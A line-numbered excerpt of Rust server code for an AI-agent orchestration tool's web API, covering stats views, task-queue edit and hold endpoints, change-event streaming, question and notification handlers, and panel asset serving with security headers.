5681 fn from(r: &stats::RepoStats) -> Self {
5682 let t = &r.stats.totals;
5683 Self {
5684 repo: r.repo.to_string_lossy().into_owned(),
5685 name: r.name.clone(),
5686 runs: t.runs,
5687 completion_rate: RateView::of(t.merged + t.ready, t.runs),
5688 }
5689 }
5690}
5691
5692#[derive(Debug, Serialize)]
5698struct StatsView {
5699 totals: StatsTotalsView,
5700 agents: Vec<AgentStatsView>,
5702 reviewers: Vec<ReviewerStatsView>,
5704 advisors: Vec<AdvisorStatsView>,
5706 e2e: E2eStatsView,
5707 release_bumps: ReleaseBumpStatsView,
5708 queue: TaskCountsView,
5709 runs_unreadable: usize,
5719 repos: Vec<RepoSummaryView>,
5723 daily: Vec<DailyStatsView>,
5728 repo: Option<String>,
5732 retired_hidden: Vec<String>,
5736}
5737
5738#[derive(Debug, Serialize)]
5740struct DailyStatsView {
5741 date: String,
5743 runs: usize,
5744 merged: usize,
5745 ready: usize,
5746 other: usize,
5747 completion_rate: Option<RateView>,
5749}
5750
5751impl From<&stats::DayBucket> for DailyStatsView {
5752 fn from(b: &stats::DayBucket) -> Self {
5753 Self {
5754 date: b.date.to_string(),
5755 runs: b.runs,
5756 merged: b.merged,
5757 ready: b.ready,
5758 other: b.other,
5759 completion_rate: RateView::of(b.merged + b.ready, b.runs),
5760 }
5761 }
5762}
5763
5764const STATS_DAILY_DAYS: usize = 30;
5766
5767#[derive(Debug, Default, Deserialize)]
5776#[serde(default)]
5777struct StatsQuery {
5778 repo: Option<String>,
5779 all: bool,
5781}
5782
5783async fn stats_get(
5790 State(ui): State<Arc<Ui>>,
5791 Query(q): Query<StatsQuery>,
5792) -> ApiResult<Json<StatsView>> {
5793 blocking(move || {
5794 let states: Vec<RunState> = run_ids(&ui.runs)
5795 .into_iter()
5796 .filter_map(|id| read_run(&ui.runs, &id).ok())
5797 .collect();
5798 let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
5799 .iter()
5800 .map(RepoSummaryView::from)
5801 .collect();
5802 let mut scoped: Vec<&RunState> = states.iter().collect();
5803 let mut collected = match &q.repo {
5804 Some(repo) => {
5805 let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
5806 if filtered.is_empty() {
5807 return Err(ApiError::not_found(format!(
5808 "no runs recorded against repo `{repo}`"
5809 )));
5810 }
5811 scoped = filtered.clone();
5812 stats::collect_refs(filtered)
5813 }
5814 None => stats::collect(&states),
5815 };
5816 if !q.all {
5817 let repo = q
5818 .repo
5819 .as_deref()
5820 .map_or_else(|| ui.repo.clone(), PathBuf::from);
5821 stats::retain_current_roster(&mut collected, &repo);
5822 }
5823 let daily = stats::daily(
5824 scoped,
5825 jiff::Zoned::now().date(),
5826 &jiff::tz::TimeZone::system(),
5827 STATS_DAILY_DAYS,
5828 );
5829 let queue_counts = crate::queue::TaskCounts::of(&ui.queue.list());
5830 Ok(Json(StatsView {
5831 totals: StatsTotalsView::from(&collected.totals),
5832 agents: collected.agents.iter().map(AgentStatsView::from).collect(),
5833 reviewers: collected
5834 .reviewers
5835 .iter()
5836 .map(ReviewerStatsView::from)
5837 .collect(),
5838 advisors: collected
5839 .advisors
5840 .iter()
5841 .map(AdvisorStatsView::from)
5842 .collect(),
5843 e2e: E2eStatsView::from(&collected.e2e),
5844 release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
5845 queue: TaskCountsView::from(queue_counts),
5846 runs_unreadable: runs_unreadable(&ui.runs),
5847 repos,
5848 daily: daily.iter().map(DailyStatsView::from).collect(),
5849 repo: q.repo.clone(),
5850 retired_hidden: collected.retired_hidden.clone(),
5851 }))
5852 })
5853 .await
5854}
5855
5856#[derive(Debug, Default, Deserialize)]
5859#[serde(default, deny_unknown_fields)]
5860struct HoldBody {
5861 reason: Option<String>,
5862}
5863
5864async fn queue_hold(
5865 State(ui): State<Arc<Ui>>,
5866 Path(id): Path<String>,
5867 body: std::result::Result<Json<HoldBody>, JsonRejection>,
5868) -> ApiResult<Json<TaskView>> {
5869 let body = match body {
5873 Ok(Json(body)) => body,
5874 Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
5875 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5876 };
5877 let reason = body.reason.filter(|r| !r.trim().is_empty());
5878 mutate(ui, id, move |t| {
5879 t.hold_manual(reason.clone());
5880 Ok(())
5881 })
5882 .await
5883}
5884
5885async fn queue_release(
5886 State(ui): State<Arc<Ui>>,
5887 Path(id): Path<String>,
5888) -> ApiResult<Json<TaskView>> {
5889 mutate(ui, id, |t| {
5890 t.release_operator("web", None);
5891 Ok(())
5892 })
5893 .await
5894}
5895
5896#[derive(Debug, Deserialize)]
5897#[serde(deny_unknown_fields)]
5898struct AttemptLimitBody {
5899 attempt_limit: serde_json::Value,
5901}
5902
5903async fn queue_attempt_limit(
5904 State(ui): State<Arc<Ui>>,
5905 Path(id): Path<String>,
5906 body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
5907) -> ApiResult<Json<TaskView>> {
5908 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5909 let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
5910 .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
5911 mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
5912}
5913
5914#[derive(Debug, Deserialize)]
5915#[serde(deny_unknown_fields)]
5916struct ImplementersBody {
5917 implementers: u8,
5918}
5919
5920async fn queue_implementers(
5921 State(ui): State<Arc<Ui>>,
5922 Path(id): Path<String>,
5923 body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
5924) -> ApiResult<Json<TaskView>> {
5925 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5926 mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
5927}
5928
5929#[derive(Debug, Deserialize)]
5930#[serde(deny_unknown_fields)]
5931struct UrgentBody {
5932 urgent: bool,
5933}
5934
5935async fn queue_urgent(
5936 State(ui): State<Arc<Ui>>,
5937 Path(id): Path<String>,
5938 body: std::result::Result<Json<UrgentBody>, JsonRejection>,
5939) -> ApiResult<Json<TaskView>> {
5940 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5941 mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
5942}
5943
5944#[derive(Debug, Deserialize)]
5946#[serde(deny_unknown_fields)]
5947struct PriorityBody {
5948 priority: i32,
5949}
5950
5951async fn queue_priority(
5957 State(ui): State<Arc<Ui>>,
5958 Path(id): Path<String>,
5959 body: std::result::Result<Json<PriorityBody>, JsonRejection>,
5960) -> ApiResult<Json<TaskView>> {
5961 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5962 mutate(ui, id, move |t| t.set_priority(body.priority)).await
5963}
5964
5965#[derive(Debug, Deserialize)]
5967#[serde(deny_unknown_fields)]
5968struct EditBody {
5969 title: String,
5970 instruction: String,
5971 #[serde(default)]
5974 force: bool,
5975}
5976
5977async fn queue_edit(
5981 State(ui): State<Arc<Ui>>,
5982 Path(id): Path<String>,
5983 body: std::result::Result<Json<EditBody>, JsonRejection>,
5984) -> ApiResult<Json<TaskView>> {
5985 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5986 let mut judged: Option<(String, PathBuf)> = None;
5990 if !body.force {
5991 let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
5992 let (id, text) = (id.clone(), body.instruction.clone());
5993 let (seen, hits) = blocking(move || {
5994 let id = resolve_task(&queue, &id)?;
5995 let t = queue.get(&id)?;
5996 if text == t.instruction {
5997 return Ok((None, Vec::new()));
5998 }
5999 let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
6000 Ok((Some((t.instruction, t.repo)), hits))
6001 })
6002 .await?;
6003 if let Some((_, repo)) = &seen {
6004 let cfg = crate::config::Config::discover(repo, None)
6005 .ok()
6006 .map(|(c, _)| c);
6007 let screened =
6008 crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
6009 .await
6010 .map_err(|dup| {
6011 ApiError::conflict(dup.render(
6012 "Nothing was saved. If it is not a duplicate, repeat the request \
6013 with \"force\": true.",
6014 ))
6015 })?;
6016 if let crate::dupes::Screened::Unjudged(why) = screened {
6017 tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
6018 }
6019 }
6020 judged = seen;
6021 }
6022 let force = body.force;
6023 mutate(ui, id, move |t| {
6024 if !force && body.instruction != t.instruction {
6025 match &judged {
6026 Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
6027 _ => {
6028 anyhow::bail!("the task changed while it was being checked; repeat the request")
6029 }
6030 }
6031 }
6032 t.edit(body.title.clone(), body.instruction.clone())
6033 })
6034 .await
6035}
6036
6037async fn queue_done(
6045 State(ui): State<Arc<Ui>>,
6046 Path(id): Path<String>,
6047) -> ApiResult<Json<TaskView>> {
6048 let home = ui.home.clone();
6049 mutate(ui, id, move |t| {
6050 t.succeed();
6051 crate::daemon::supersede_prior_runs(t, &home);
6059 Ok(())
6060 })
6061 .await
6062}
6063
6064async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6072 blocking(move || {
6073 let id = resolve_task(&ui.queue, &id)?;
6074 let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
6075 ui.queue
6076 .remove(&id, in_flight, &ui.questions)
6077 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
6078 Ok(StatusCode::NO_CONTENT)
6079 })
6080 .await
6081}
6082
6083async fn mutate(
6092 ui: Arc<Ui>,
6093 id: String,
6094 change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
6095) -> ApiResult<Json<TaskView>> {
6096 blocking(move || {
6097 let id = resolve_task(&ui.queue, &id)?;
6098 let _claim = ui.queue.claim(&id).map_err(|e| {
6103 ApiError::conflict(format!(
6104 "{e:#} - a daemon is running this task, so it cannot be \
6105 changed from here yet; wait until it is released, then retry"
6106 ))
6107 })?;
6108 let mut task = ui.queue.get(&id)?;
6109 change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
6110 Ok(dup) => ApiError::conflict(dup.render(
6111 "Nothing was saved. If it is not a duplicate, repeat the request with \
6112 \"force\": true.",
6113 )),
6114 Err(e) => ApiError::bad_request_from(e),
6115 })?;
6116 ui.queue.put(&mut task)?;
6117 Ok(Json(TaskView::from(task)))
6118 })
6119 .await
6120}
6121
6122async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
6130 let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
6131 tokio::spawn(async move {
6132 let mut ticker = tokio::time::interval(POLL);
6133 let mut last: Option<(u64, u64, u64, u64, u64, u64)> = None;
6134 let mut stamps: Option<[Stamps; 3]> = None;
6135 loop {
6136 ticker.tick().await;
6139 let state = Arc::clone(&ui);
6140 let revisions = tokio::task::spawn_blocking(move || {
6141 let stamps = [
6142 store_stamps(state.queue.root(), false),
6143 store_stamps(&state.runs, true),
6144 store_stamps(state.talks.root(), false),
6145 ];
6146 let revisions = (
6147 stamps_revision(&stamps[0]),
6148 stamps_revision(&stamps[1]),
6149 state.questions.revision(),
6150 stamps_revision(&stamps[2]),
6151 state.notices.revision(),
6152 state.lock_loop().rev,
6156 );
6157 (revisions, stamps)
6158 })
6159 .await;
6160 let Ok((revisions, next_stamps)) = revisions else {
6161 break;
6162 };
6163 if last == Some(revisions) {
6164 continue;
6165 }
6166 let mut payload = serde_json::json!({
6167 "queue_rev": revisions.0,
6168 "runs_rev": revisions.1,
6169 "questions_rev": revisions.2,
6170 "talks_rev": revisions.3,
6171 "notifications_rev": revisions.4,
6172 "loop_rev": revisions.5,
6173 });
6174 if let (Some(base), Some(previous)) = (last, stamps.as_ref()) {
6175 for (index, (key, rev)) in [
6176 ("queue_delta", base.0),
6177 ("runs_delta", base.1),
6178 ("talks_delta", base.3),
6179 ]
6180 .into_iter()
6181 .enumerate()
6182 {
6183 let delta = diff_stamps(&previous[index], &next_stamps[index], rev);
6184 if delta.changed.len() + delta.removed.len() > 0 && delta.changed.len() <= 50 {
6186 payload[key] = serde_json::to_value(delta).expect("serializable delta");
6187 }
6188 }
6189 }
6190 last = Some(revisions);
6191 stamps = Some(next_stamps);
6192 let Ok(event) = Event::default().event("change").json_data(payload) else {
6194 break;
6195 };
6196 if tx.send(event).await.is_err() {
6197 break;
6198 }
6199 }
6200 });
6201 Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
6202 .keep_alive(KeepAlive::new().interval(KEEPALIVE))
6203}
6204
6205type Stamps = HashMap<String, (u128, u64)>;
6206
6207fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
6209 std::fs::read_dir(root)
6210 .into_iter()
6211 .flatten()
6212 .flatten()
6213 .filter_map(|entry| {
6214 let path = if runs {
6215 entry.path().join("run.json")
6216 } else {
6217 entry.path()
6218 };
6219 if !runs && path.extension().is_none_or(|ext| ext != "json") {
6220 return None;
6221 }
6222 let metadata = path.metadata().ok()?;
6223 let modified = metadata
6224 .modified()
6225 .ok()?
6226 .duration_since(std::time::UNIX_EPOCH)
6227 .ok()?;
6228 let id = if runs {
6229 entry.file_name().to_string_lossy().into_owned()
6230 } else {
6231 path.file_stem()?.to_string_lossy().into_owned()
6232 };
6233 Some((id, (modified.as_nanos(), metadata.len())))
6234 })
6235 .collect()
6236}
6237
6238#[derive(Debug, Serialize)]
6239struct Delta {
6240 base: u64,
6241 changed: Vec<String>,
6242 removed: Vec<String>,
6243}
6244
6245fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
6246 let mut changed: Vec<_> = next
6247 .iter()
6248 .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
6249 .map(|(id, _)| id.clone())
6250 .collect();
6251 let mut removed: Vec<_> = previous
6252 .keys()
6253 .filter(|id| !next.contains_key(*id))
6254 .cloned()
6255 .collect();
6256 changed.sort_unstable();
6257 removed.sort_unstable();
6258 Delta {
6259 base,
6260 changed,
6261 removed,
6262 }
6263}
6264
6265fn runs_revision(runs: &FsPath) -> u64 {
6272 stamps_revision(&store_stamps(runs, true))
6273}
6274
6275fn stamps_revision(stamps: &Stamps) -> u64 {
6279 use std::hash::{Hash as _, Hasher as _};
6280 if stamps.is_empty() {
6281 return 0;
6282 }
6283 let mut entries: Vec<_> = stamps.iter().collect();
6284 entries.sort_unstable();
6285 let mut hasher = std::hash::DefaultHasher::new();
6286 entries.hash(&mut hasher);
6287 hasher.finish().max(1)
6288}
6289
6290fn run_ids(runs: &FsPath) -> Vec<String> {
6296 let mut ids: Vec<String> = std::fs::read_dir(runs)
6297 .into_iter()
6298 .flatten()
6299 .flatten()
6300 .filter(|e| e.path().join("run.json").is_file())
6301 .map(|e| e.file_name().to_string_lossy().into_owned())
6302 .collect();
6303 ids.sort_unstable_by(|a, b| b.cmp(a));
6305 ids
6306}
6307
6308fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
6310 let path = runs.join(id).join("run.json");
6311 let body =
6312 std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
6313 let state: RunState =
6314 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
6315 run::migrate_schema(state)
6320}
6321
6322#[must_use]
6330pub fn runs_unreadable(runs: &FsPath) -> usize {
6331 run_ids(runs)
6332 .into_iter()
6333 .filter(|id| read_run(runs, id).is_err())
6334 .count()
6335}
6336
6337fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
6339 if runs.join(id).join("run.json").is_file() {
6340 return Ok(id.to_owned());
6341 }
6342 pick(run_ids(runs), id, "run")
6343}
6344
6345fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
6347 if queue.path_of(id).is_file() {
6348 return Ok(id.to_owned());
6349 }
6350 pick(queue.list().into_iter().map(|t| t.id).collect(), id, "task")
6351}
6352
6353#[derive(Debug, Serialize)]
6364struct QuestionView {
6365 #[serde(flatten)]
6366 question: Question,
6367 detail_md: Vec<md::Node>,
6368 posting_view: Option<PostingView>,
6369 thread_bodies_md: Vec<Vec<md::Node>>,
6371 thread_notes_md: Vec<Option<Vec<md::Node>>>,
6374 waiting_on_agent: bool,
6384 holder: Option<&'static str>,
6388 deputies_enabled: bool,
6392 deputy_exhausted: bool,
6395 run_is_task: bool,
6398 origin_chat: Option<String>,
6403 origin_chat_closed: bool,
6405}
6406
6407#[derive(Debug, Serialize)]
6408struct PostingView {
6409 before_md: Vec<md::Node>,
6410 after_md: Vec<md::Node>,
6411 fields: Vec<crate::github_text::ComparisonView>,
6412}
6413
6414fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
6415 let comparison = question.posting_comparison.as_ref()?;
6416 if !comparison.matches_detail(&question.detail) {
6417 return None;
6418 }
6419 let mut ids = std::collections::BTreeSet::new();
6420 if comparison.fields.is_empty()
6421 || comparison
6422 .fields
6423 .iter()
6424 .flat_map(|f| &f.pairs)
6425 .any(|p| !ids.insert(p.id))
6426 || comparison
6427 .fields
6428 .iter()
6429 .flat_map(|f| &f.original_triggers)
6430 .any(|t| !ids.insert(t.id))
6431 {
6432 return None;
6433 }
6434 let fields = comparison
6435 .fields
6436 .iter()
6437 .map(|f| f.view(comparison.excerpt))
6438 .collect::<Option<Vec<_>>>()?;
6439 Some(PostingView {
6440 before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
6441 after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
6442 fields,
6443 })
6444}
6445
6446impl QuestionView {
6447 fn of(question: Question, store: &ask::Questions, deputies_enabled: bool) -> Self {
6451 let base = md::ImageBase::QuestionPanel {
6452 id: question.id.clone(),
6453 };
6454 let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
6455 Self {
6456 detail_md: md::to_nodes(&question.detail, &base),
6457 posting_view: posting_view(&question, &base),
6458 thread_bodies_md: question
6459 .thread
6460 .iter()
6461 .map(|t| md::to_nodes(&t.body, &base))
6462 .collect(),
6463 thread_notes_md: question
6464 .thread
6465 .iter()
6466 .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
6467 .collect(),
6468 deputy_exhausted: store.deputy_exhausted(&question),
6469 waiting_on_agent: question.waiting_on_agent(),
6470 holder,
6471 deputies_enabled,
6472 run_is_task: question.run_names_task(),
6473 origin_chat: None,
6474 origin_chat_closed: false,
6475 question,
6476 }
6477 }
6478
6479 fn with_origin(mut self, tasks: &[crate::queue::Task], talks: &[Talk]) -> Self {
6481 let talk = crate::consult::origin_talk(tasks, talks, &self.question);
6482 self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
6483 self.origin_chat = talk.map(|t| t.id);
6484 self
6485 }
6486}
6487
6488fn deputy_config(repo: &std::path::Path) -> Option<Config> {
6492 Config::discover(repo, None).ok().map(|(c, _)| c)
6493}
6494
6495fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
6497 crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
6498}
6499
6500fn question_views(
6503 qs: Vec<Question>,
6504 store: &ask::Questions,
6505 load: impl FnOnce() -> Option<Config>,
6506) -> Vec<QuestionView> {
6507 if qs.is_empty() {
6508 return Vec::new();
6509 }
6510 let cfg = load();
6511 qs.into_iter()
6512 .map(|q| {
6513 let on = deputies_enabled(cfg.as_ref(), &q);
6514 QuestionView::of(q, store, on)
6515 })
6516 .collect()
6517}
6518
6519fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
6529 if !q.status.open() {
6530 return None;
6531 }
6532 if q.cwd.is_none() && q.deputy.is_none() {
6533 return crate::deputy::kind_of(q).map(|_| "nobody");
6534 }
6535 Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
6536 Some(_) if q.deputy.is_some() => "deputy",
6537 Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
6538 Some(_) => "asker",
6539 None => "nobody",
6540 })
6541}
6542
6543async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
6549 blocking(move || {
6550 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6551 Ok(Json(
6552 question_views(ui.questions.list(), &ui.questions, || {
6553 deputy_config(&ui.repo)
6554 })
6555 .into_iter()
6556 .map(|v| v.with_origin(&tasks, &talks))
6557 .collect(),
6558 ))
6559 })
6560 .await
6561}
6562
6563async fn notifications_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6566 blocking(move || {
6567 let items = ui.notices.list();
6568 let unread = items.iter().filter(|n| n.unread()).count();
6569 Ok(Json(
6570 serde_json::json!({ "unread": unread, "items": items }),
6571 ))
6572 })
6573 .await
6574}
6575
6576fn notice_error(e: anyhow::Error) -> ApiError {
6577 ApiError::not_found(format!("{e:#}"))
6580}
6581
6582async fn notification_read(
6584 State(ui): State<Arc<Ui>>,
6585 Path(id): Path<String>,
6586) -> ApiResult<Json<Notice>> {
6587 blocking(move || ui.notices.mark_read(&id).map(Json).map_err(notice_error)).await
6588}
6589
6590async fn notification_dismiss(
6592 State(ui): State<Arc<Ui>>,
6593 Path(id): Path<String>,
6594) -> ApiResult<Json<Notice>> {
6595 blocking(move || ui.notices.dismiss(&id).map(Json).map_err(notice_error)).await
6596}
6597
6598async fn notifications_read_all(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
6600 blocking(move || {
6601 let changed = ui.notices.mark_all_read()?;
6602 Ok(Json(serde_json::json!({ "marked": changed })))
6603 })
6604 .await
6605}
6606
6607#[derive(Debug, Default, Deserialize)]
6613#[serde(default, deny_unknown_fields)]
6614struct NewAnswer {
6615 choice: Option<String>,
6616 text: Option<String>,
6617}
6618
6619async fn question_answer(
6620 State(ui): State<Arc<Ui>>,
6621 Path(id): Path<String>,
6622 body: std::result::Result<Json<NewAnswer>, axum::extract::rejection::JsonRejection>,
6623) -> ApiResult<Json<QuestionView>> {
6624 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6625 let answer = match (body.choice, body.text) {
6626 (Some(c), None) => Answer::Choice(c),
6627 (None, Some(t)) => Answer::Text(t),
6628 (Some(_), Some(_)) => {
6629 return Err(ApiError::bad_request(
6630 "send either `choice` or `text`, not both",
6631 ));
6632 }
6633 (None, None) => {
6634 return Err(ApiError::bad_request("send a `choice` or a `text`"));
6635 }
6636 };
6637
6638 blocking(move || {
6639 let id = resolve_question(&ui.questions, &id)?;
6640 let q = ui
6641 .questions
6642 .get(&id)
6643 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6644 if !q.status.open() {
6645 return Err(ApiError::conflict(format!(
6649 "question {} is already {}",
6650 q.short(),
6651 q.status.as_str()
6652 )));
6653 }
6654 let (q, ()) = ui
6658 .questions
6659 .update(&q.id, |r| r.answer(answer))
6660 .map_err(ApiError::bad_request_from)?;
6661 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6662 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6663 Ok(Json(
6664 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6665 ))
6666 })
6667 .await
6668}
6669
6670#[derive(Debug, Deserialize)]
6672#[serde(deny_unknown_fields)]
6673struct NewSay {
6674 body: String,
6675}
6676
6677async fn question_say(
6687 State(ui): State<Arc<Ui>>,
6688 Path(id): Path<String>,
6689 body: std::result::Result<Json<NewSay>, JsonRejection>,
6690) -> ApiResult<Json<QuestionView>> {
6691 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6692 blocking(move || {
6693 let id = resolve_question(&ui.questions, &id)?;
6694 let q = ui
6695 .questions
6696 .get(&id)
6697 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6698 if !q.status.open() {
6699 return Err(ApiError::conflict(format!(
6703 "question {} is already {}",
6704 q.short(),
6705 q.status.as_str()
6706 )));
6707 }
6708 let (q, ()) = ui
6711 .questions
6712 .update(&q.id, |r| r.say(body.body))
6713 .map_err(ApiError::bad_request_from)?;
6714 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6715 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6716 Ok(Json(
6717 QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks),
6718 ))
6719 })
6720 .await
6721}
6722
6723async fn question_consult(
6732 State(ui): State<Arc<Ui>>,
6733 Path(id): Path<String>,
6734) -> ApiResult<(StatusCode, Json<QuestionView>)> {
6735 let (view, reclaimed) = blocking({
6736 let ui = Arc::clone(&ui);
6737 move || {
6738 let id = resolve_question(&ui.questions, &id)?;
6739 let q = ui
6740 .questions
6741 .get(&id)
6742 .map_err(|e| ApiError::from(e).with_status(StatusCode::INTERNAL_SERVER_ERROR))?;
6743 if !q.status.open() {
6744 return Err(ApiError::conflict(format!(
6745 "question {} is already {}",
6746 q.short(),
6747 q.status.as_str()
6748 )));
6749 }
6750 let (tasks, talks) = (ui.queue.list(), ui.talks.list());
6751 let Some(talk) = crate::consult::origin_talk(&tasks, &talks, &q) else {
6752 return Err(ApiError::conflict(format!(
6753 "question {} has no chat to ask",
6754 q.short()
6755 )));
6756 };
6757 let cfg = if q.consult.is_none() {
6761 Some(Config::discover(&talk.repo, None)?.0)
6762 } else {
6763 None
6764 };
6765 let fresh = crate::consult::begin(&ui.questions, &ui.talks, &q, &talk)?;
6766 let claim = if fresh {
6767 match ui.begin_queued_talk_turn(&talk.id)? {
6768 Some(turn_guard) => {
6769 let talk = ui.talks.get(&talk.id)?;
6770 let cfg = match cfg {
6771 Some(cfg) => cfg,
6772 None => Config::discover(&talk.repo, None)?.0,
6773 };
6774 Some((talk, cfg, turn_guard))
6775 }
6776 None => None,
6777 }
6778 } else {
6779 None
6780 };
6781 let q = ui.questions.get(&q.id)?;
6782 let on = deputies_enabled(deputy_config(&ui.repo).as_ref(), &q);
6783 let view = QuestionView::of(q, &ui.questions, on).with_origin(&tasks, &talks);
6784 Ok((view, claim))
6785 }
6786 })
6787 .await?;
6788 if let Some((talk, cfg, turn_guard)) = reclaimed {
6789 let talks = ui.talks.clone();
6790 let id = talk.id.clone();
6791 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6792 }
6793 Ok((StatusCode::ACCEPTED, Json(view)))
6794}
6795
6796fn resolve_question(store: &Questions, id: &str) -> ApiResult<String> {
6798 if store.path_of(id).is_file() {
6799 return Ok(id.to_owned());
6800 }
6801 pick(
6802 store.list().into_iter().map(|q| q.id).collect(),
6803 id,
6804 "question",
6805 )
6806}
6807
6808async fn question_panel(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Response> {
6823 blocking(move || {
6824 let id = resolve_question(&ui.questions, &id)?;
6825 let Some(html) = ui.questions.panel_html(&id) else {
6826 return Err(ApiError::not_found(format!("question {id} has no panel")));
6827 };
6828 Ok(panel_response(
6829 "text/html; charset=utf-8",
6830 false,
6831 html.into_bytes(),
6832 ))
6833 })
6834 .await
6835}
6836
6837async fn question_asset(
6865 State(ui): State<Arc<Ui>>,
6866 Path((id, name)): Path<(String, String)>,
6867) -> ApiResult<Response> {
6868 if !crate::ask::valid_asset_name(&name) {
6871 return Err(ApiError::bad_request(format!(
6872 "`{name}` is not a usable asset name"
6873 )));
6874 }
6875 blocking(move || {
6876 let id = resolve_question(&ui.questions, &id)?;
6877 let asset = ui
6878 .questions
6879 .panel_asset(&id, &name)
6880 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
6881 let Some(bytes) = asset else {
6882 return Err(ApiError::not_found(format!(
6883 "question {id} has no asset `{name}`"
6884 )));
6885 };
6886 Ok(panel_response(
6887 asset_content_type(&name),
6888 is_svg(&name),
6889 bytes,
6890 ))
6891 })
6892 .await
6893}
6894
6895fn asset_content_type(name: &str) -> &'static str {
6908 match extension(name).as_deref() {
6909 Some("png") => "image/png",
6910 Some("jpg" | "jpeg") => "image/jpeg",
6911 Some("gif") => "image/gif",
6912 Some("webp") => "image/webp",
6913 Some("svg") => "image/svg+xml",
6914 Some("css") => "text/css; charset=utf-8",
6915 Some("txt") => "text/plain; charset=utf-8",
6916 _ => "application/octet-stream",
6917 }
6918}
6919
6920fn is_svg(name: &str) -> bool {
6923 extension(name).as_deref() == Some("svg")
6924}
6925
6926fn extension(name: &str) -> Option<String> {
6928 name.rsplit_once('.')
6929 .map(|(_, ext)| ext.to_ascii_lowercase())
6930}
6931
6932fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
6949 let mut res = (
6950 [
6951 (header::CONTENT_TYPE, content_type),
6952 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
6953 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6954 (header::REFERRER_POLICY, "no-referrer"),
6955 ],
6956 body,
6957 )
6958 .into_response();
6959 if download {
6960 res.headers_mut().insert(
6961 header::CONTENT_DISPOSITION,
6962 HeaderValue::from_static("attachment"),
6963 );
6964 }
6965 res
6966}
6967
6968#[derive(Debug, Serialize)]
6974struct TalkView {
6975 #[serde(flatten)]
6976 talk: Talk,
6977 turn_bodies_md: Vec<Vec<md::Node>>,
6978 thinking: bool,
6986 context: talk::ContextUsage,
6990 operator_name: Option<String>,
6993 persona_name: Option<String>,
6995 persona_avatar: String,
6998 operator_avatar: String,
7000}
7001
7002impl TalkView {
7003 fn new(talk: Talk, thinking: bool) -> Self {
7006 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
7007 Self::with_config(talk, thinking, cfg.as_ref())
7008 }
7009
7010 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
